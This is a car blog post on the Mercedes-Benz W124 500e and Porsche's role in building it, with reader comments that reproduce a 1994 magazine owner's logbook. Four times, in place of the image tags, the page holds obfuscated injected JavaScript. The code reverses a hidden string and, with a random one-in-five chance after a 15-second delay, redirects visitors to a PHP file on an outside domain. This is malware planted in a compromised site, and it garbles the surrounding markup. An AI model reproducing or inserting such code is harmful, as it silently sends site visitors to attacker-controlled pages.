Mercedes-Benz 500e. Porsche-built loon wagon

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/shizzle/500e5.jpg” alt=”” width=”728″ />

In the past I’d never really been a big fan of Mercedes. They kinda drifted along in my mind as the big German Stuttgart taxi wagon that I either got collected from Munich Airport in or my mates parents drove.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/shizzle/500e12.jpg” alt=”” width=”728″ />

However over the last couple of years they seem to have really put their game face on and started producing some pretty heavy and hardcore machinery.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/shizzle/500e1.jpg” alt=”” width=”728″ />

Now the sweeping statement I just made above clearly doesn’t and didn’t stand for some of the beauties that popped up along the way, however getting all hot under the collar for a W124 (84-95) should have been a thought that would never see the light of day.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/shizzle/500e2.jpg” alt=”” width=”728″ />

That all changed six months ago when I started looking into a certain Mercedes, by the name of the W124 500e.Mercedes Benz 500e, which would you believe, was created in close cooperation with Porsche.

Categories: Road


No Comments

  1. Great stories on the E500
    Notes from the logbook of the Worlds Best Car
    by Allan Rosenberg : Automobile Magazine, March 1994
    A Porsche guy spends a year with a 322-bhp Mercedes Benz 500E and becomes completely spoiled.
    San Francisco – I struggled for a long time as a food photographer, so I didn’t own a new car until
    1982. In 1984, I bought my Porsche Carrera. I love sports cars: I raced an Osca in vintage events.
    When it was time to replace the Porsche, it never occurred to me to buy a four-door sedan.
    Then my friend Larry Crane, Automobile Magazine’s art director, returned from Europe with stories
    about the Mercedes-Benz 500E (now called the E500). He went on and on about it.
    “The yardstick by which all other cars are measured,” he said, “A car for the rest of your life”. So I
    thought, why not get one and keep track of it like a Four Seasons test car? It was Crane’s fault, really.
    You can’t believe how he is when he gets enthusiastic.
    The car would have cost $82,000, but Robert Krall, my salesman at Hacienda Motors in Pleasonton,
    California, arranged European delivery, so the price was $72,000. Everyone who buys a Mercedes
    should use the European delivery method – the money you save pays for the trip.
    You arrive at the Stuttgart train station, when you receive a voucher for a taxi ride to the factory.
    There, a Mercedes representative helps you with your bags and gives you a ticket that says you’re
    going to pick up a car. There’s a beautiful facility right at the factory where Mercedes delivers 400 to
    600 cars each day. It has rooms if you need some sleep or want to take a shower, and there are two
    restaurants and a theater. Buses pull up to the facility for a ninety-minute tour of the factory. You’re
    sitting there, they call your number, and your technician comes out with your car and goes over
    everything. You take as much time as you need. Then they give you a full tank of gas, and off you
    go. Mercedes will even provide trip suggestions. It’s a dream.
    Stuttgart Shuffle – Porsche’s part in the Mercedes-Benz 500E
    Porsche was presented with a unique opportunity in 1990. The company had completed production of
    the hand-built 959, leaving an unused assembly plant. The plant, Rossle-Bau, in Zuffenhausen, is
    tailored to very small production volumes and staffed with craftsmen who understand every nuance of
    quality. Porsche had recently finished an engineering development project to create the 500E (now
    called the E500) for its client and cross-town neighbour Daimler-Benz. Extensive modifications to the
    floor and external sheetmetal meant the 500E could not easily be built on the normal assembly line at
    the busy Mercedes-Benz Sindelfingen plant. So Porsche landed the assembly contract. Eight to
    twelve 500Es per day, 2400 per year, built to the highest quality.
    The Rossle-Bau production line sets no standards in automation. Cars are built on wheeled pallets
    and are moved by hand from station to station as they are assembled. Electric spot-welding is also
    done mostly by hand. Panels go together with what used to be called Old World craftsmanship.
    When the basic body shell is completed, including doors, trunk, and hood, it is shipped on special
    trucks to the Mercedes Sindelfingen plant across town. There, the bodies are corrosion-proofed and
    painted, giving the cars the full measure of rust protection and allowing customers to choose from the
    entire palette of Mercedes colors. Then the cars go back to the Porsche plant for more assembly.
    Engines, transmissions, and other major mechanicals are assembled by Mercedes-Benz and shipped
    to Porsche for installation. All of the characteristic Mercedes icons – the grille, the badges, the
    headlamps, and the taillamps – come in containers from Mercedes. In essence, Porsche is
    assembling what is referred to in the industry as a “knock-down kit,” with most of the parts supplied by
    Mercedes. Final inspection and delivery take place back in Sindelfingen, after the cars take yet
    another trip across town.

    Of course, moving the cars back and forth from suburb to suburb in Stuttgart is hardly efficient. On the
    average, it takes eighteen days for Porsche to build an E500, much of which is transportation time.
    But, because the E500 hasn’t exactly set sales charts ablaze, the slow assembly process can keep up
    with demand.
    In 1996, an entirely new Mercedes-Benz E-class will make its debut. A new E500 may be part of that
    line. Porsche is planning to use the Rossle-Bau factory in 1995 for another project, so 1994 will be the
    last year for E500 production at Porsche. Given the overcapacity Mercedes now has, it is unlikely that
    the car’s replacement will be built by anyone but Mercedes-Benz – Kevin Clemens
    As soon as I drove away in my car, I left Stuttgart and drove down to Basel, Switzerland, and picked
    up a woman I know who’s in the computer business there. I said, “Let’s go to Lyon, because I want to
    have salade Lyonnaise.” So we drove to France, and it was a hell of a drive because there was fog.
    We had a marvelous lunch at La Mere Vittet. Afterward, she said there was a wonderful hotel in
    Lausanne, so we drove back to Switzerland. The next morning, we drove all the way up through
    Germany to a town called Eberbach am Neckar, near Heidelberg, and had a superb lunch at a
    restaurant called the Altes Badhaus. Then we went back to Basel. In my first twenty-four hours with
    the car, I drove nearly 1000 miles.
    I left the car in Europe from October 1992 until January 1993. I went back to drive it three times
    simply because I couldn’t drive it enough. One time I went with a dentist friend, and on the way over
    he told me that I was stupid, because I paid too much money for the 500E. The first time we got onto
    a section of autobahn with no speed limit, he looked over at me and said, “You’re not going too fast,
    are you?” I said, “Well, I can’t go any faster”. The speedometer was already pegged at 155 mph. He
    didn’t even know it. Now he’s looking for a used 500E.
    I have experienced everything in this car. Horrible, horrible fog. Pouring-down miserable rainstorms
    in the middle of the night on black, black, black roads. Snow where the traction control and ABS lights
    flashed constantly. The 500E was always magnificent. At 155 mph, you’re going three-quarters of a
    football field per second, yet it’s a non-event in this car. Above 4500 rpm, the engine has a deep, rich
    sound that isn’t intrusive, there’s no wind noise, and you can have normal conversation.
    One of my few complaints concerns the speed of the windshield wiper: it’s not quite fast enough. My
    Porsche Carrera could keep the window clear at speeds over 100 mph, but with the Mercedes wiper,
    it’s almost as if the car is saying, “Oh, boy, this is fast enough.” The American 500E is also geared a
    little too tall. I wish the U.S. model had the European transmission that lets you select standard or
    economy modes.
    I remember following Jurgen Hodel, international press liaison for Daimler-Benz, to a restaurant in
    Stuttgart, and that’s when I realized you could drive the 500E like a Carrera. At low speeds, the
    steering was a little thick, and the suspension would kind of float. Then the car would take a set in the
    corners, and you could absolutely get on it and rev it to 4500 rpm and then slam on the brakes. I told
    Hodel, “The ABS and traction control lights are coming on – the car is warning me.” He said, “Let the
    car do it. Just keep your foot down. The computer is doing the work.”
    One time Fred Heiler, Mercedes-Benz North America;s PR man, and a colleague of his had the option
    of taking the Lufthansa express train from Stuttgart to the Frankfurt airport, but they came with me
    instead. We beat the express train by thirty-five minutes. That’s what this car is designed to do. It’s a
    business vehicle, meant to move people very comfortably and confidently over great distances in a
    short period of time.

    Tethered Goats – An American blitz by 500E
    There are people who like to drive. There are people who love to drive. And there are those for whom
    driving is an intense passion. Allan Rosenberg, my vintage-racing friend of many years, is of the latter
    school. He bought his Mercedes-Benz 500E based on my recommendation. He returned the favor by
    inviting me to drive it with him from Florida to San Francisco. That idea was in line with our principles:
    The 500E was created for the purpose of going from city to city at high speeds, and we both believe
    that cars are about driving, not about owning.

    At the first turn of the key in the 500E’s ignition, I knew our trip would be an extraordinary event. To
    most passers-by, the car looks like any medium-size Mercedes; it’s invisible. But there are a few car
    guys who notice that it is nearly an inch lower and has wider fenders and will say: “A 500E! A real
    We were going straight west, and I couldn’t wait to get started. The idea was to pack as many miles
    into every hour as we could, because there were several stops we wanted to make. Our first was the
    Collier Automotive Museum in Naples, Florida, perhaps the best road-racing historical resource in the
    country. Next we buzzed up to Ocala to see Don Garlits of drag-racing fame and T.C. Browne,
    automotive adventurer and noted teller of tales. And then we were ready to start our drive in ernest.
    Sliding into the 500E’s big leather seats gives you the impression that they are too wide, too flat, and
    too firm. Even the steering wheel looks out of scale. The E-class cars were created, you think, for
    slightly overscale businessmen to rush silently and effortlessly between cities. Neither of us is
    overscale, but we did enjoy the “silently and effortlessly” part. The Benz was perfect at triple-digit
    speeds. Somewhere on the blast through the salt marshes of southern Alabama and Mississippi, we
    began to refer to all other traffic as “tethered goats,” and the name stuck for the rest of the trip.
    Rosenberg is a man who is accustomed to traveling first-class to Europe once a month and eating
    fabulous food. This was his first cross-country drive, so I introduced him to road food, which is not fast
    food – it’s cafe food – and that was our cuisine for all five days. We brought a pile of CDs and tapes,
    but we only used them for the first few hours and spent the rest of the time in high chat as the miles
    whipped past. This is where I should admit that I recently reread On the Road, and I imagined us
    more than once as Neal Cassady and Jack Kerouac. I would be Neal, “the Driver,” because neverticketed
    Rosenberg is incapable of going more than 70 mph on U.S. roads. I have no such problem.
    In the end, Rosenberg drove through cities, and I drove on the freeways.
    Space does not permit the details of the visits we made, but let me drop a few names: Fred Tycher’s
    Automotive Emporium in Dallas; Harley Cluxton III’s Grand Touring Cars in Scottsdale, Arizona; Mike
    McCluskey’s Cobra restoration shop in L.A.; and a final night at Grand Prix car restorer Steve
    Griswold’s guest penthouse in San Francisco. Looking out at the view from the top of Russian Hill, I
    was sorry to be standing still after five days in the stealth Benz. Those seats that had seemed
    oversize at first were grippy and supportive. That large steering wheel came to seem normal, and I
    was used to letting my hands relax while holding onto it. In fact, everything about those days and
    nights in the 500E was beyond reproach. It might well be the best automobile we will ever see. –
    Larry Crane
    Another time I was on a run to the Nurburgring with two of my friends. They both had Ferrari F40s,
    and I had the 500E. We ended up in a caravan because an F40 is miserable in the rain, and they
    couldn’t go any faster than I could. I had all of their luggage and both of their girlfriends, and we were
    driving along with the stereo on, but we made it to the restaurant before they did because they had to
    tank up more than I did.
    I shipped the car back to Brumos Motor Cars in Jacksonville, Florida, so Crane and I could drive
    cross-country. Dick Hostrup, a Brumos sales consultant, picked up my car, and he pointed out that
    the windscreen had a chip in it. I said, “I got that a 140 mph. There’s no way I’m changing it.” He said
    the brake rotors had a little rust, so if I didn’t mind, the mechanics had already taken them off and
    started polishing them. Then they detailed the car to death and gave it to me with a full tank.
    I cannot speed in America. I have a phobia about getting a speeding ticket – I will not get one. But
    even at 65 mph, the 500E gives you a feeling of overwhelming security. I love driving in Europe
    because everything there counts for something – driving around town, making simple turns, even
    parking – I made sure I did it right. Coming back here, you spend time in a superior car, and you start
    having a superior attitude. It’s almost agony sometimes to drive the car. I want to send it back to
    Europe. And I really, actually might do that. Europeans tell me, “You Americans have a love affair
    with the car.” And I say, “No, we don’t. Americans are married to the car. And in America, marriage
    is a love/hate thing.”

    I went to Mercedes dealers for oil changes every 3000 miles, but I nearly always took advantage of a
    $29.95 lube and safety check special, which saves $15 off the regular price. My 15,000 mile service
    cost $340, and my 30,000 mile service will cost about the same, which is only $50 more than what it
    would cost on some Toyotas. I lost a $295 tire to a screw in the sidewall that was discovered at one of
    the safety checks. I replaced a leaky windshield washer reservoir under warranty. I also replaced the
    front passenger’s-side window because of a break-in, and although the factory glass was cheaper
    than a BMW’s I really think these cars should come with a glass sensor or a motion detector as well as
    the usual alarm system. I have had a problem with a metallic rubbing sound from the front brake
    calipers, which these cars are apparently prone to. In Europe, they simply give you the new calipers
    from the 600SL, but Mercedes does not feel that they are warranted here because of our lower speed
    The 500E has nothing to do with flash. In Europe, it’s not good manners to show off your wealth.
    When I’m at Sears Point or Laguna Seca with the 500E and I see people looking at it, I can see that
    they really love cars. Knowing about the 500E is part of a deeper understanding of automobiles. And
    you find that understanding in the strangest places. Asian kids here in San Francisco with their
    Chevrolet Cameros and Pontiac Firebirds. A Hispanic guy in Orlando with an immaculate Volkswagen
    GTI, his whole family in the car with him. You know how the German car magazines are always
    talking about kick-down response in automatic transmissions? The manager of the Altes Badhaus
    looked at the 500E, and she said, “Ah, funfhundert E, Herr Rosenberg. Kick-down!” One day in San
    Francisco, a derelict walked up to the car, and I was waiting for his pitch, and he said, “That’s a 500E,
    isn’t it? That’s the one Porsche builds. That’s a terrific car”. And he walked away.
    It has been a year, so I’ve been thinking about buying another car. I had a chance to buy a Porsche
    911 Turbo demonstrator with about 2400 miles. I sat in the car, looked at all the plastic, and saw the
    carpet mats with their edges turned up. The car was already kind of tired. I thought, “Wow, I don’t
    know if I can go back to this.”
    So where do I go from here? I’m certainly not tired of the car. With Porsches, I’ve kind of been there
    and done that. The Mercedes-Benz 500E is it. It’s the kind of car that would make old Gottlieb
    Daimler proud. Now called the E500, it will no longer be built by Porsche after the 1994 model year.
    The new Mercedes-Benz E-class line is scheduled to make its debut in the 1996 model year, but there
    is no guarantee that Mercedes will make a high-performance, five-liter version. Anyway, how can it
    get any better than my 500E?


  2. ….and to add to that story the W124 E500 was made on same production line as the 959 apparently. Some people say same line as the Carrera GT but doubtful. 959 more realistic as from same era.
    Must be the holy grail of all German production lines: 959, W124 500E/E500, RS2 Avant and finally the Carerra GT.
    Definitely worth a feature on, imagine if you could produce a series of pictures from all the above cars rolling off the same line in concertina effect…

  3. Hey Phil,

    A few more facts for you. Mario Andreti drove one of these as did Rowan Atkinson (1st UK car I believe). It was also supposed to be fastest four door four seat car in the world for a time and the last few cars (of which mine is one of them) was produced alongside the Audi RS2 Avant.

  4. Do you know if the owner of this lovely example ticked the box for working electric windows? (haha)
    Tis true its the fastest ‘Waftmobile’ I have driven for a while.